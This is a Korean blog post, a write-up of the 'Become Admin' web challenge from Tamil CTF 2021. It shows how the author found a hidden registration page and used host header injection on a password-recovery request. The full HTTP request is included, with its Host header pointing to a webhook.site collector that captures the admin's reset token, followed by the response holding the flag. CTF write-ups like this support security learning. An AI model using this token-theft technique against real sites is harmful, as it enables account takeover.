🏆 2024

맛집 분야 크리에이터

🏆 2023

IT 분야 크리에이터

👩‍❤️‍👨 구독자 수

182

✒️ 게시글 수

0
https://tistory1.daumcdn.net/tistory/4631271/skin/images/blank.png 네이버블로그

🩷 방문자 추이

오늘

어제

전체

🏆 인기글 순위

티스토리 뷰

보안/CTF

[Web] Become Admin 2021 Tamil CTF Writeup

알 수 없는 사용자 2021. 9. 30. 03:19
728x90
반응형

첫 페이지입니다. 로그인 버튼 하나가 있고 위에 상단에 username 과 password 를 알려줍니다.

해당 페이지에다가 위 공개된 크레덴셜을 입력해보고 Sign in 버튼을 눌러보았지만, Invalid 라고 합니다.

그러다가 소스코드를 보았고, 아래 주석문에서 힌트를 얻을 수 있었습니다.

<!-- <div class="flex justify-evenly"> <a href="" class="card__url">Don't have an account?</a> <a href="" class="card__url">Forgot password?</a> </div> -->

내용을 봐서는 회원가입과 패스워드 찾기가 있었는데, 잠시 지운 느낌인 것 같았습니다.

그래서 guessing으로 /account/login 경로를 /account/register 로 변경해보았습니다.

그러다가 회원가입 페이지가 나온 것을 볼 수 있었습니다.

그리고 위에서 제공받은 credential을 이용해서 똑같이 회원가입을 해보았습니다.

뭔가 나왔는데 클릭을 해보았습니다. 처음엔 의미없는 alert 창이 두번 뜨고 아래와 같은 화면이 나왔습니다.

근데 왠걸 password 찾기 버튼이 있는 폼이 반환되었습니다. 코드를 수정하기 이전의 로그인 폼인 듯 합니다.

Lost your password ? 링크를 눌러보았습니다.

이런 화면이 나왔는데 일단 소스코드를 보았습니다.

<!-- The admin has set some automated scripts to open any links that comes to his mail -->

이런 힌트를 발견할 수 있었습니다. 관리자가 자동화 스크립트를 돌리고 있는데 link 가 메일로 왔을 경우에 해당 링크를 클릭해서 열어본다고 합니다. 뭔가 Blind XSS 같은 느낌도 있었는데 잘 되지 않았습니다.

그래서 다음으로는 host header injection 을 시도하기 위해서 아래와 같은 페이로드를 입력하였습니다.

POST /passrecovery HTTP/1.1
Host: webhook.site/9030e4f7-5ae8-4660-b562-5b826277544c
Content-Length: 26
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.177.201.15:5005
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://139.177.201.15:5005/passwordreset
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

email=admin%40tamilctf.com

token 값을 받을 수 있었습니다. 또 URL 링크가 힌트가 되어 보입니다.

/resetpassword?token=73c642bwe7gf87n9jgd

해당 URL을 요청해보았습니다. 그랬더니 아래와 같은 비밀번호 초기화 화면이 나왔고, 초기화 해보았습니다.

Reset password 를 눌렀더니 아래와 같은 페이로드가 전송된 것으로 보아 패스워드 입력 값은 의미가 없어보였습니다.

GET /thisisthefinalpath? HTTP/1.1
Host: 139.177.201.15:5005
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://139.177.201.15:5005/resetpassword?token=73c642bwe7gf87n9jgd
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

그리고 response 로 돌아온 페이로드 중에서 header 값에 플래그가 존재했습니다.

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 3520
flag: TamilCTF{1_L0vE_H3ader5}
Server: Werkzeug/2.0.1 Python/3.9.7
Date: Wed, 29 Sep 2021 18:18:03 GMT

 

728x90
반응형
댓글